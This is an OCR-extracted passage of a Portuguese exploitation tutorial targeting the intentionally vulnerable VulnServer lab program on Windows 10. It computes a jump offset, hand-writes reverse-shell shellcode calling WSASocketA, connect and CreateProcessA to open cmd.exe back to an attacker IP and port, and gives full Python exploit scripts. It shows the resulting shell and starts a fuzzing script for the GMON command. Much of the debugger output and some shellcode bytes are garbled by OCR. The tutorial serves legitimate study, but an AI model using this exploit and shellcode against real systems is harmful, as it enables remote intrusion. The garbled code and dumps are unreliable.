AaDpEF? D1 INC EBA
AaDEF? D2 INC EBX
LrO T . 5 e
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Sabemos que desta vez eles se iniciam em 00d8f9c8, se rolarmos a barra pra cima,
encontraremos o enderego correspondente ao nosso primeiro “A”.

HADEF?1E MOU EfAX.8
BaD8F?23 ADD BYTE PIR DS:[EAX].AH
AADEF?25 ADD BYTE PTR DS:[EAX]1.AL
BAD8F227 ADD BYTE PTIR DS:[EDI+541.AL
AADEF?2A INC EBP
BAD8F2?2B PUSH EDX
AADEF?2C AND BYTE PTR DS:[EDI1.CH
BADEF?2E CHP CH.BYTE PTR CS:[EDI]
AADEF?31 INC ECX
BaD8F2?32 INC ECX
AADEF?33 INC ECX
BADEF?34 INC ECX
AADEF?35 INC ECX
BADEF?36 INC ECX
AADEF237 INC ECX
BADEF?38 INC ECX
AADEF?39 INC ECX
BADEF?3A INC ECX
AADEF?3RE INC ECX
BADEF23C INC ECX
AADEF23D INC ECX
HADSF?3E INC EGH
AADEF23F INC ECX
1K ] ] v

Nosso primeiro “A” esta em 00d8f931, porém estes enderecos s&o da stack e vdo mudar
a cada vez que executarmos o programa.

Precisamos pular do endereco do primeiro “C” para o primeiro “A”, mas os enderecos
nao sao fixos, o que fazer?

Simples, os enderecos mudam, mas a distdncia matematica entre eles nao, se eu
souber quantos bytes devo pular, sempre cairei exatamente onde quiser. Existem
algumas formas de calcular esta distancia, vamos explorar duas alternativas.

ENCONTRANDO A DISTANCIA COM IMMUNITY DEBBUGER

Se clicarmos duas vezes na instrucéo disassembler do nosso primeiro “C”, podemos
inserir o comando “JMP 00d8f931” que € o endere¢o do nosso primeiro “A”.

@HDEF B
@ADEFYE]
@ADEFIE?
@ADEFY BA
gBDEFIEB
s

fiss 00l o7
ARDRF9 BE Aszemble at 00D2FICT
AADEFY EF
AADSFY CA |JMP 00dBr331] =]
AADEFYC1
@ADEFIC2
AADEFIC3
AADEFIC4
AADEFICH
AADEFIC?
@ADEFICA INC EBY
AADEFICE INC EBX
AADEFICC INC EBY
@ADEFICD INC EBX
@ADEFCE INC EBY
@ADEFICF INC EBX
@ADEFT DO INC EBY
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Ao clicarmos em “Assemble”, ele nos retorna a distancia entre os dois enderecos.

- ECR
; ECX
;. ECX
. ECX
; ECX
; ECX
; ECX
; ECX
;. ECX
. ECX
; ECX
; ECX
INC ECR
D311 RCL. DWORD PTR DS:[ECK1.CL
B PUSH EAX
E? 65FFFFFF JMP BBD8F?231
A2 INC EBX
INC EBRX
INC EBR
INC EBX
C EBX
C EBX
C EBX

IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN

Ele nos deu a distancia e965ffffff, porém temos que ter cuidado, pois ele esta
comparando com o 00d8f9c7, mas sabemos que nosso primeiro “C” esta em 00d8f9c8,
portanto temos que subtrair 1 byte da distancia, resultando em e964ffffff.

Agora sabemos a distancia do salto, entao, independente do endereco que os buffers
possam cair, podemos encontrar nosso enderecgo de destino.

Antes de testar outra abordagem para calcular o salto, vamos testar em nosso script.

Vamos adicionar nosso salto no script logo apés o salto para o EIP.
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xplgter.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# payload a ser enviado
offset = 147

payload = b"GTER /.:/" # funcao inicial

payload += b"A" * offset # buffer

payload += b"\xd3\x11\x50\x62" # endereco de retorno
payload += b"\xe9\x64\xf\xfA\xff" # salta para o primeiro buffer
payload += b"C" * (309 - 147 - 4 - 5) # segundo buffer

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado!")

Entendendo o payload

payload = b"GTER /.:/" # funcao inicial

payload += b"A" * offset # buffer

payload += b"\xd3\x11\x50\x62" # endereco de retorno
payload += b"\xe9\x64\xf\xfA\xff" # salta para o primeiro buffer
payload += b"C" * (309 - 147 - 4 - 5) # segundo buffer

1 - Ele vai enviar o comando inicial “GTER /.:/”;

2 - Ele vai enviar nosso primeiro buffer com 147 “A”;

3 - Ele vai enviar para o EIP o endereco de retorno para nosso ESP;

4 - Aqui ele envia o salto para cair novamente no inicio do buffer de “A”;

5 - Agora ele envia o restante dos “C” onde 309 é o offset para buffer overflow, -
4 para descontar os 4 bytes do endereco de retorno e -5 bytes do salto.

Vamos reiniciar o programa novamente com o breakpoint em 625011d3 que é nosso
endereco de retorno e rodar nosso script.
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GZSa1i03 '~ Registers CFPUD
b ggggfi%g ASCII 47_"TER ~_:-/AARAAAAA
FOP EBZ AARARBAA

BABAR1 A4
ot
PUSH EBP AB491848 vulnserv.B@B401848
Mou EEE-ESP 80401848 vulnserv.BB401848
EDR 62501103 essfunc.625811D3
POP ECH C 32hit B{FFFFFFFF>»
POP EDA 32hit B(FFFFFFFF>»
32hit BCFFFFFFFF)>
FOP EEP 32hit B(FFFFFFFF>»
32bhit 32EBRA{FFF>
PUSH EEFP :
MOU EBP. ESP 32hit B{FFFFFFFF>»
Eg¥ LastErr ERROR_SUCCESS <(BAABBRAA>
POP ECH 20008246 <NO,.NB.E.BE.NS.PE.GE.LE>
POF ERX empty g
enpty g

625811F1

g

Ele parou em nosso endereco de retorno, conforme esperado, agora pressionamos F7
para ir para proxima instrugao.

BAC4F2CE Registers C(FPU>
WAGAEFFG w . .
BRCAPaCE ggggfg%g ASCII 47."TER ~.:/AAAAAARA
@aC4F9CF HAARERAR
BAC4F?DA AAARE1 A4
BAC4AF9C8
41414141
A8401848 vulnserv.BR401848
AA401848 vulnzerv. B8401848

BAC4F?C8

32bit B(FFFFFFFF)>

32hit B(FFFFFFFF>
32hit BCFFFFFFFF)
32hit @(FFFFFFFF>
32hit 376BAACFER)
ES:[EDI] :
e 32hit @CFFFFFFFF>
ngEEB§} LastErr ERROR_SUCCESS <AADPPOOG)
ES:[EDI] @PABE246 (NO.NB.E.BE.NS,PE.GE,LE>
- ES:[EDI] smpty g
DUl ES:[EDI] ity o

Veja que agora, ao invés de cair em nosso primeiro “C”, ele caiu em um JMP. Se
pressionarmos F7 novamente, cairemos onde esse JMP nos levar.

AncavasE CH . BYTE PTR CS: [EDI RS R
RRACATO2 L ¢ H Y L .
- - X AC4F92 SCII 47,."TE .:/AA A
DOCAF931 . : FCR EA gn5911ng ASC 7 ER /.:/AAAAAAA
ST ; C ECX ARRARAAA
> ECR d hAnBR1 04
» ECX PBAC4F9CS
] 41414141
#9401848 vulnserv.BB401848
#A401848 vulnserv.BB401848
#BC4F931
ES
CS
SS
DS
FS

GS

@AC4F940

@AC4F9 41 : . :
P : Las ERROR SESS  <0PAPRRRN>
BOCAF943 c 'FL. #0@@0246 <NO,NB,E,BE,NS,PE,GE,LE>

ﬂ”ﬁdﬁ?44 empty g

empty g

O salto foi precisamente para nosso primeiro “A” com sucesso. Agora que sabemos uma
das formas de encontrar o tamanho do salto, vamos tentar descobrir este valor com
outra abordagem.
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ENCONTRANDO A DISTANCIA DO SALTO COM MSF-NASM_SHELL

Antes de irmos para ferramenta em si, temos que saber quantos bytes separam nosso
endereco de origem (nosso primeiro “C”) do nosso endereco de destino (nosso primeiro
“‘A”). O que ja sabemos é que temos 147 “A”, entdo partimos desse principio, se
observarmos novamente a imagem onde consultamos os enderegos, veremos que
temos alguns bytes entre o umltimo “A” e o primairo “C”.

N [
BEDBIEE RCL DWORD PTR D5:L[ECK]1.CL
AADEF?Ch PUSH Efx
AADEF?C? BOUMD EAX.QWORD PTR DS:[EBX+431]
BADEF?CA IMC EBX
AADEF?CE INC EBX
BADEF?CC IMC EBR
AADEF?CD INC EBX
AADEF?CE INC EBA
AADEF?CF INC EBX
AaDEF? DA INC EBd
AaDeEFe D1 INC EBX
AADEF? D2 INC EBHX
AADEF? D3 INC EBX
AADEF?D4 INC EBX
BAD8F? DS IMC EBX
AADEF? D6 INC EBX
AaDpgErFeD? INC EBA
AaDEFeDE INC EBX
AaDpEFe DY INC EBA
AaDEF? DA INC EBX
AADEF?DE INC EBH

STOS DWORD PTR ES:[EDI]

JOHTD

Entre eles temos os bytes D3, 11, 50 e 62, ou seja, temos 147 bytes de “A” + 4 bytes
separando os buffers, ou seja, temos 151 bytes entre os enderegos de origem e destino.

Sabendo este valor, podemos consultar o msf-nasm_shell com o comando JMP $-151.

$ msf-nasm_shell
nasm > JMP $-151
00000000 E964FFFFFF jmp Oxffffff69

E ele nos trouxe exatamente o tamanho do salto que encontramos com o Immunity:
€964ffffff. Ambas as tecnicas sao vailidas e podem ser usadas.

Temos um buffer maior, agora com 147 bytes, mas sabemos que nosso reverse shell
ou outros tipos de shell ocupam mais que 300 bytes, o que podemos fazer com o que
temos?

Antes de responder esta pergunta, precisamos entender a anatomia de um reverse
shell.

ANATOMIA DO REVERSE SHELL

Quando geramos um reverse shell com o msfvenom, recebemos como resposta uma
serie de bytes, mas estes bytes tem toda uma arquitetura.

Um reverse ou bind shell nada mais é do que uma série de APIs do Windows que sao
ordenadas de forma que, ao serem chamadas, fazem uma conexdo reversa com o
atacante chamando uma instancia geralmente do cmd.exe.
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Basicamente a ordem das chamadas segue:

1 - Chama a API WSAStartup() para carregar as DLLs Winsock do Windows;

2 - Chama a API connect() ou WSASocketA() para criar um socket bind ou uma
conexao reversa com o IP do atacante;

3 - Chama a API CreateProcessA() que por sua vez vai chamar o cmd.exe e
redirecionar o STDIN, o STDOUT e o STDERR para o socket criado.
Como nosso alvo é um server TCP, existe uma grande chance das DLLs WinSock ja
estarem carregadas, e isso vai nos economizar muitos bytes na criagdo do shellcode.

A ideia é reutilizar as APIs ja carregadas nativamente no programa para minimizar o
tamanho do nosso shellcode.

Para desenvolvermos este shellcode, precisamos entender como funcionam as APls
que precisamos e como funcionam seus parametros, e traduzi-las para Assembily.

Uma observagao importante, € que temos que evitar os badchars na construcédo do
cbdigo, em nosso caso so temos o “\x00”.

Vamos utilizar a propria documentacéo da Microsoft para nos auxiliar no processo.

A primeira API que vamos configurar € a WSASocketA() cuja documentagéo pode ser
lida aqui.

SOCKET WSAAPI WSASocketA(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFOA IpProtocollinfo,
GROUP g,
DWORD dwFlags

);

Temos que ter em mente que para utilizar as APls em Assembly, a ordem das chamadas
tem que ser inversa, ou seja, vamos comecar pela “dwFlags” e terminar na chamada da
WSASocketA(), e por fim armazena-la em EAX.

Também precisamos saber o endereco da APl no sistema alvo. Os enderecos de
fungdes nao costumam mudar na mesma versao do Windows com os mesmos updates,
portanto, como nosso alvo é o Windows 10 na versédo 21H1 provavemimente este exploit
s6 vai funcionar em alvos com a mesma versao. Porém o processo de descoberta e
desenvolvimento é o mesmo para todas as versoes.

Para descobrir os enderecos que precisamos no OS, vamos utilizar o arwin que pode
ser encontrado aqui.
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BN C:AWindows\system3Ziemd.exe - O X
soft Windows [Version 18.8.19043.
Microsoft Corporation. All rig

C:\Usersi\suitedarwin ws2_32 WS
teve hanna - v.81

: gram - by
WsASocketA is located at ©x77587148 in ws2_32

C:\Usershsuite»

Ja sabemos o enderec¢o da APl no OS, vamos iniciar nosso codigo em assembly no

préprio Kali.
; WSASocketA()
xor ebx, ebx ; Zrando EBX
push ebx ; Fazendo push para o parametro 'dwFlags' que pode ser nulo
push ebx ; Fazendo push para o parametro 'g' que pode ser nulo
push ebx ; Fazendo push para o parametro 'IpProtocollnfo' que pode ser nulo
mov bl, 6 ; Inserindo valor 6 no Protocol (IPPROTO=6)
push ebx ; Fazendo push para o parametro 'protocol'
xor ebx, ebx ; Zerando EBX
inc ebx ; Incrementando 1 no EBX zerado 'type: SOCK_STREAM=1'
push ebx ; Fazendo push para o parametro 'type'
inc ebx ; Incrementando 1 ao EBX que ja tem valor 1 'af: AF_INET=2'
push ebx ; Fazendo push para o parametro 'af'
mov ebx, 0x76e67140 ; Endereco da WSASocketA() no Win10 21H1
call ebx ; Chamada para WSASocketA()
xchg eax, esi ; Salvando o socket em ESI

Agora precisamos fazer a chamada para a API connect() cuja documentagao pode ser
encontrada aqui.

int WSAAPI connect(
SOCKET S,

const sockaddr *name,
int namelen

);

Cujo parametro “sockaddr” segue a seguinte ordem:

struct sockaddr {
ushort sa_family;
char sa_data[14];

Vamos encontrar o endereg¢o da connect() em nosso OS.
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C:\Users\suite*arwin ws2? 32 connect

arwin - win32 address resolution program - by steve hanna - v.81

connect is located at @x77505718 in ws2 32

Como em Assembly programamos em ordem inversa, o primeiro parametro a ser
configurado na connect() € o “namelen”,que representa o enderego para onde a conexao
sera criada, ou seja, da nossa maquina atacante constituido por IP e PORTA, mas os
valores tem que ser passados em hexadecimal e com os bytes em ordem inversa, como
o IP do meu Kali é 192.168.1.17, teria que seguir a ordem 171168192.

Podemos utilizar a fungao “hex()” do python para descobrir byte a byte do nosso
endereco.

Podemos criar um script em python para descobrir byte a byte do nosso enderego.

ipToHex.py:

#!/usr/bin/python3

ip="192.168.1.17"

ip = ip.split(".")
print(' ".join((hex(int(i))[2:] for i in ip)))

E ele nos responde o IP byte a byte:

$ python3 ipToHex.py
cOa8 111

Como precisamos preencher o script emm little indian, a ntagao fica: 0x1101a8c0.

Agora vamos fazer o Assembly da funcio connect().

; connect

push 0x1101a8c0 ; Fazendo push do endereco de IP 192.168.1.17 em hexa
push word 0xfb20 ; Fazendo push da porta hex(8443)

xor ebx, ebx ; Zerando EBX

add bl, 2 ; Inserindo o valor 2 em 'sa_family' (AF_INET=2)

push word bx ; Fazendo push para o parametro 'sa_family'

mov ebx, esp ; Apontando EBX para a estrutura sockaddr

push byte 16 ; Tamanho do sockaddr: sa_family + sa_data = 16
push ebx ; Fazendo push para o apontador do parametro 'name'
push esi ; Fazendo push no socket para o parametro 's'

mov ebx, 0x76e65710 ; Endereco da connect() no Win10 21H1

call ebx ; Chamando a connect()

Por ultimo, precisamos fazer a chamada para a APl CreateProcessA() cuja
documentacdo pode ser encontrada aqui.
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Esta funcdo é responsavel por chamar o cmd.exe e enviar o STDIN, STDOUT e
STDERR para o socket criado, € a fungdo mais longa, pois seus parametros também
chamam outras fungdes, porém a grande maioria pode ser nulo.

Abaixo a estrutura da CreateProcessA():

BOOL CreateProcessA(
LPCSTR IpApplicationName,
LPSTR IpCommandLine,
LPSECURITY_ATTRIBUTES IpProcessAttributes,
LPSECURITY_ATTRIBUTES IpThreadAttributes,

BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID IpEnvironment,
LPCSTR IpCurrentDirectory,

LPSTARTUPINFOA IpStartuplnfo,
LPPROCESS_INFORMATION IpProcessInformation

Vamos encontrar o endere¢o da fungao no Win10 21H1.

C:\Usersh\suiterarwin kernel32 CreateProcessh
address resolution program - by steve hanna - v.81

CreateProcessA is located at ox dog in kernel32

Primeiro precisamos chamar a fungéo “cmdA” que néo existe, em seguida vamos usar
a fungao “shr” (Shift Right) que vai mover os bytes a direita e zerar a origem, mais
detalhes sobre a fungcdo aqui. O resultado final sera “cmd\x00” sem que precisemos
digitar o null byte.
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Vamos ao cédigo:

; CreateProcessA()

mov ebx, 0x646d6341 ; Movendo ‘cmda’ para EBX evitando null byte

shr ebx, 8 ; Transformando EBX em 'cmd\x00'
push ebx ; Fazendo push do cmd
MoV ecx, esp ; Fazendo ECX apontar para cmd

; Preenchendo parametro' STARTUPINFOA'

xor edx, edx ; Zerando EDX

push esi ; Enviando hStdError para nosso socket

push esi ; Enviando hStdOutput para nosso socket

push esi ; Enviando hStdIinput para nosso socket

push edx ; cbReserved = null

push edx ; wShowWindow = null

XOr eax, eax ; Zerando EAX

mov ax, 0x0101 ; dwFlags = STARTF_USESTDHANDLES
STARTF_USESHOWWINDOW

push eax ; Fazendo push do dwFlags

push edx ; dwFillAtribute = null

push edx ; dwYCountChars = null

push edx ; dxXCountChars = null

push edx ; dwYSize = null

push edx ; dwXSize = null

push edx ; dwY = null

push edx ; dwX = null

push edx ; IpTitle = null

push edx ; IpDesktop = null

push edx ; IPReserved = null

add dl, 44 ;cb =44

push edx ; Fazendo push da _STARTUPINFOA para a stack
mov eax, esp ; Fazendo o EAX apontar para ESP, onde estaa STARTUPINFOA
xor edx, edx ; Zerando EDX

; Preenchendo o parametro 'PROCESS_INFORMATION'

push edx ; IpProcessinformation
push edx ; IpProcessinformation + 4
push edx ; IpProcessinformation + 8
push edx ; IpProcessinformation + 12

; Chamando a CreateProcessA()

push esp ; IpProcessinformation

push eax ; IpStartuplnfo

xor ebx, ebx ; Zerando EBX

push ebx ; IpCurrentDirectory = nulo

push ebx ; IDEnvironment = nulo

push ebx ; dwCreationFlags = nulo

inc ebx ; Incrementando 1 ao EBX zerado (bInheritHandles = True)
push ebx ; Fazendo push para blnheritHandles

dec ebx ; Zerando EBX

push ebx ; IpThreadAttributes = nulo

push ebx ; IpProcessAttributes = nulo

push ecx ; Tornando IpCommandline um pointer para 'cmd'
push ebx ; IpApplicationName = nulo

mov ebx, 0x752b2d90 ; Endereco da CreateProcessA() no Win10 21H1
call ebx ; Chamando a CreateProcessA());
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Juntando todo o cédigo Assembly que fizemos no arquivo shellcode.asm, podemos
compilar com o0 nasm no préprio Kali para gerar o arquivo elf shellcode.o.

$ nasm -f elf32 shellcode.asm -o shellcode.o);

Se utilizarmos o comando “objdump” podemos ver o disassembly do codigo.

XNaR®NO

6f:

$ objdump -d shellcode.o -M intel

shellcode.o: file format elf32-i386

Disassembly of section .text:

00000000 <.text>:

7(5:
75:

31db xor ebx,ebx

53 push ebx

53 push ebx

53 push ebx

b3 06 mov  bl,0x6

53 push ebx

31db xor ebx,ebx

53 push ebx

bb 90 2d 2b 75 mov ebx,0x752b2d90
ff d3 call ebx

Este é basicamente o shellcode que utilizaremos, mas precisamos sanitiza-lo para
podermos utilizar em nosso sxript, vamos utilizar o proprio bash para isso.

$ for i in $(objdump -d shellcode.o -M intel | grep '"* ' | cut -f2); do echo -n "\\x'$i;done;echo
\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x4 3\x53\x4 3\x53\xbb\x40\x7 1\xe6\x 76 \xff\xd3\x9
6\x68\xc0\xa8\x01\x0c\x66\x68\x20\xfb\x31\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x10\x53\x
56\xbb\x10\x57\xe6\x76\xff\xd3\xbb\x4 1\x63\x6d\x64\xc1\xeb\x08\x53\x89\xe 1\x3 1\xd2\x56\
x56\x56\x52\x52\x31\xc0\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x8
0\xc2\x2¢\x52\x89\xe 0\x31\xd2\x52\x52\x52\x52\x54\x50\x3 1\xdb\x53\x53\x53\x4 3\x53\x4 b\
x53\x53\x51\x53\xbb\x90\x2d\x2b\x 7 5\xff\xd3

E temos um reverse shell de apenas 117 bytes que cabem perfeitamente no no espago
de 147 bytes!

ATUALIZANDO E ORGANIZANDO NOSSO EXPLOIT

Com o shellcode em maos, vamos atualizar nosso script.
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xplgter.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.26"
porta = 9999

# payload a ser enviado
offset = 147

shellcode =
b"\x31\xdb\x53\x53\x53\xb3\x06\x53\x3 1\xdb\x4 3\x53\x4 3\x53\xbb\x4 0\x 7 1\xe6\x 7 6 \xff\xd 3\

x96\x68\xc0\xa8\x01\x0c\x66\x68\x20\xfb\x31\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x 10\x5

3\x56\xbb\x10\x57\xe6\x76\xfAxd3\xbb\x4 1\x63\x6d\x64\xc 1\xeb\x08\x53\x31\xd2\x56\x56\x

56\x52\x52\x31\xc0\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x80\xc2
\x2¢\x52\x89\xe0\x31\xd2\x52\x52\x52\x52\x54\x50\x3 1\xdb\x53\x53\x53\x4 3\x53\x4b\x53\x

53\x51\x53\xbb\x90\x2d\x2b\x 75\xff\xd 3"

payload = b"GTER /.:/" # funcao inicial

payload += shellcode

payload += b"A" * (offset - len(shellcode))

payload += b"\xd3\x11\x50\x62" # endereco de retorno
payload += b"\xe9\x64\xf\xfA\xff" # salta para o primeiro buffer
payload += b"C" * (309 - 147 - 4 - 5) # segundo buffer

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado! Cheque o netcat.")

Script pronto, vamos setar um netcat na porta 8443 que configuramos no Assembly e
testar nosso exploit.

File Actions Edit View Help

hastur@hastur: ~/Desktop/estudos/binarios/windows/VulnServer x ha

— ‘~/Desktop]

- 8443

listening on [any] 8443

connect to [192.168.1.12] from (UNKNOWN) [192.168.1.30] 49711

Como podemos ver, recebemos a conexao reversa, mas nao recebemos o shell,
precisamos rodar novamente no Immunity Debbuger para entender o que esta
ocorrendo. Vamos continuar com o breakpoint no nosso endereco de retorno, e avangar
passo a passo com F7 até encontrarmos a inconsisténcia.

48



https://hastur666.github.io/Windows BoF/

3 ImmumtyDebugger-w[}!nservenexe- [CPU - thread 000013B0] — X
ﬂFile View Debug Plugins ImmLib Options Window Help Jobs

W WX N MY lemtwhcPkbzr.s |
333¥F3§§ 5 ~ Registers CFPU)
LEE EAX BBBFF928
@0BFF934 ECX 989F11DC
@@BFF935 53 L X 0A000AAA
X 00000104
> QBBFF9C8

.88401848
.08401848

EIP @@BFF931

53
BB 40871E676 MOU EBX.
FFD3 EBX

96 XCHG

68 CAABHB1AC SH BCA1A8CO S >

66:68 20FB PUSH @FB28 S ? t ?DDBHH(F}‘F)
’ EBX5EBX 2B 32hit BO(FFFFFFFF)>

PUSH BX

MOU EBX,ESP

PUSH 18 EFL 088008246 C(NO,.NB,E,BE.NS,PE,GE
PUSH EBX ST@ empty g
56 PUSH ESI ST1 empty g
BB 1@57E676 MOU EBX. .connect ST2 empty g
F

BB 41636D64 ST2 ombth o

C1EB @ ! EBX.8 STS5 empty g
53 ST6 empty g
ST? empty g

32180 ESPUOZDI
Cond 380 Err 0000000 (G
Prec NEAR.53 M 111111

41414141
41414141
41414141
41414141

unc .625811D3

@@BFF9D4
@BBFF9DS
@BBFF9DC

Hoisisisinnt @OBFF9E@ ABABABAB

OUBFF9E4 FEEEF

83323323 Ll S POPRORED .

90403070 90 LIl PF #0000000 -
Ganrro aa

| ' 3 5

Se analisarmos este ponto da execugdo, veremos que o ESP esta apontando para
alguns bytes abaixo do fim do nosso shellcode. Isto significa que os PUSHs utilizados
em nosso shellcode, fazem com que o ESP se aproxime cada vez mais dele até o ponto
de sobrescrevé-lo. Pois ao ponto que a execucdo flui, no sentido crescente dos
enderecos de memodria, a pilha cresce para tras.

O que podemos fazer, é realinhar nossa stack, antes do envio do nosso shellcode, e
isso pode ser feito com duas instrugdes: PUSH EAX e POP ESP.

O PUSH EAX vai empurrar o valor corrente de EAX para o topo da stack, enquanto o
POP ESP vai trazer de volta o valor de ESP, movendo o stack pointer acima do nosso
shellcode e protegendo de ser sobrescrito.

Para encontrar os opcodes corretos, podemos utilizar o msf-nasm_shell.

$ msf-nasm_shell
nasm > PUSH EAX

00000000 50 push eax
nasm > POP ESP
00000000 5C pop esp

Temos os opcodes \x50 e \x5¢, vamos adicionalos acima de nosso shellcode.
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xplgter.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# payload a ser enviado
offset = 147

shellcode =
b"\x31\xdb\x53\x53\x53\xb3\x06\x53\x3 1\xdb\x4 3\x53\x4 3\x53\xbb\x40\x 7 1\xe6\x 7 6 \xff\xd 3\

x96\x68\xc0\xa8\x01\x0c\x66\x68\x20\xfb\x31\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x 10\x5

3\x56\xbb\x10\x57\xe6\x76\xff\xd3\xbb\x4 1\x63\x6d\x64\xc 1\xeb\x08\x53\x31\xd2\x56\x56\x

56\x52\x52\x31\xc0\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x80\xc2
\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52\x52\x54\x50\x3 1\xdb\x53\x53\x53\x4 3\x53\x4b\x53\x

53\x51\x53\xbb\x90\x2d\x2b\x 75\xff\xd 3"

alinhamento = b"\x50\x5¢"

payload = b"GTER /.:/" # funcao inicial

payload += alinhamento

payload += shellcode

payload += b"A" * (offset - 2 - len(shellcode))

payload += b"\xd3\x11\x50\x62" # endereco de retorno
payload += b"\xe9\x64\xf\xfA\xff" # salta para o primeiro buffer
payload += b"C" * (309 - 147 - 4 - 5) # segundo buffer

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado! Cheque o netcat.")

Agora podemos setar o netcat na porta utilizada no shellcode, em nosso caso 8443
iniciar o vulnserver fora do Immunity e rodar nosso script.
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File Actions Edit View Help

hastur@hastur: ~/Desktop/estudos/binarios/windows/VulnServer x hastur@hastur: ~/

~/Desktop
8443
listening on [any] 8443
connect to [192.168.1.12] from (UNKNOWN) [192.168.1.30] 49729
Microsoft Windows [Version 10.0.19043.928]
(c) Microsoft Corporation. All rights reserved.

C:\Users\suite\Desktop>cd \
cd \

C:\>dir

dir

Volume in drive C has no label.
Volume Serial Number is 6E21-762B

Directory of C:\

08/10/2021 04:59 PM <DIR> nasm
12/07/2019 02:14 AM <DIR> PerflLogs
08/10/2021 04:55 PM <DIR> Program Files
08/10/2021 04:58 PM <DIR> Program Files (x86)
08/10/2021 ©04:58 PM <DIR> Python27
08/10/2021 04:54 PM <DIR> Users
08/10/2021 ©08:06 PM <DIR> Windows
@ File(s) 0 bytes
7 Dir(s) 32,306,380,800 bytes free

c:\>ff

E conseguimos nosso shell reverso.

Nesta vulnerabilidade encontramos um problema de tamanho de buffer para inserir o
shellcode, mas conseguimos vencer esta limitagcdo, reutilizando bibliotecas que o
programa ja utiliza.

Nos préximos comandos, vamos encontrar complexidades diferentes.
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COMANDO GMON

O comando GMON, assim como os demais, recebe um argumento e da uma resposta.
Neste comando iremos explorar outa tecnica de exploragcdo de buffer overflow em
binarios Windows.

hastur
File Actions Edit View Help

hastur@hastur: ~/Desktop/estudos/binarios/windows/VulnServer

~/../estudos/binarios/windows/VulnSer
192.168.1.30 9999
Welcome to Vulnerable Server! Enter HELP for help.
GMON teste
GMON STARTED
GMON teste
GMON STARTED

0
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FUZZING

Desta vez vamos experimentar outra técnica para o fuzzing, o python tem uma a

biblioteca boofuzz que pode ser usada, vamos escrever nosso script.

fuzzing2.py:

#!/usr/bin/python3

from boofuzz import *
import time

def get_banner(target, my_logger, session, *args, **kwargs):
banner_template = b"Welcome to Vulnerable Server! Enter HELP for help."
try:
banner = target.recv(1024)
except:
print("Nao foi possivel a conexao.")
exit(1)

my_logger.log_check("Recebendo banner...")
if banner_template in banner:
my_logger.log_pass("Banner recebido!")
else:
my_logger.log_fail("Banner nao recebido")
print("Banner nao recebido, saindo...")
exit(1)

def main():
session = Session(
sleep_time =1,
target = Target(
connection=SocketConnection("192.168.1.30", 9999, proto="tcp")
)

s_initialize(name="Request")

with s_block("Host-Line"):
s_static('GMON', name="command name")
s_delim(" ")
s_string("FUZZ", name="comando da variavel")
s_delim("\r\n")

session.connect(s_get("Request"), callback=get_banner)
session.fuzz()

if _name__ =="__main__":
main()

Este script fara varias tentativas de fuzzing e tentara receber o banner novamente, uma

vez que nao receba mais, o programa parou e o fuzzing para.
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Info: Sending 10007 bytes ...

- get connectlon (192.168.1.32:
Info: Connection opened.

Info: Receiving ..

k: Recebendo banner ..

Podemos ver que o script parou ao enviar 10.007 bytes constituidos da repeticdo de
“I.1.I", se voltarmos ao codigo fonte que analisamos no inicio, veremos que o GMON
espera receber “/” para ativar a funcao vulneravel.

Vamos esbogar nosso script.
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xplgmon.py:

#!/usr/bin/python3
import socket

ip="192.168.1.30"
porta = 9999

offset = 10007

payload = b"GMON ./"
payload += b"A" * offset

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)

print("Enviando payload...")
s.send(payload + b"\r\n")

s.close()
print("Payload enviado.")

Preparando o vulnserver no Immunity Debbuger, vamos ver seu comportamento.

€3 Immunity Debugger - vulnser{,}(.exe - [CPU - thread 00001390, module msvert] — X
Q File View Debug Plugins ImmLib Options Window Help Jobs

ST Ax b I M HHY 1 emewh cPEbzros |

760C6819 IETFVS MOU DWORD PTR DS:LEDI1,EDR ~ Registers CFPUD <
760C681B 83C? 84 ADD EDI, 4 PEFEFEFE
760C681E BA FFFEFE?7E EDX , EFEFEFF 36543 "
PouOaoLs MK T e BecrEcna 0065432C ASCIT “AAARRAAAARAAARAAAARARAAAARAAAAAR
760C6825 EDX, EAX 99000104
760C6827 XOR EAX, PFEFFFFF 9@BDF1DO
260C6820 HOR 3 2 " q
seBCENEe dner S EB BWomo rrm ne- cxons P GGUDESCH ASCIT ~AANAANARARAAARARAAAAARAAARARAARA
760C682E 83C1 84 :DI @@BEARDD
760C6831 ] ERX *s1010100 R
760C6836 ~?74 E1 HC sucrt.768C6819 EIP 768C6819
760C6838 1 ES
768C683A sucrt . 768C6870 P cs
260C683C DH DH 3 hi
760C683E 74 27 OR 260C6867 8 88 : gﬁ;??ngFF;
F7C2_GOOOFFO0 | EDX, aFFBaaa S @ FS 32hit 2E0008<
74 12 HORT ms 760C685A T GS 992 it 8
F7C2 0000GOFF  TEST EDX, FFee@ana
74 92 6
7302 B e SUCCESS <00000080>

8917 RD "DS:[EDI 1,EDX 008010246 <(NO,NB.E,BE.NS,PE,GE,LE>
8B4424 068 18 empty
SF

1 empty
Cc3 E 2 empty
66:8917 U WORD PTR DS:[EDI1,DX empty
8B4424 08 OU EAX, empty
C647 02 00 BYTE PTR DS:[EDI+21,0 5 empty
SF EDI empty

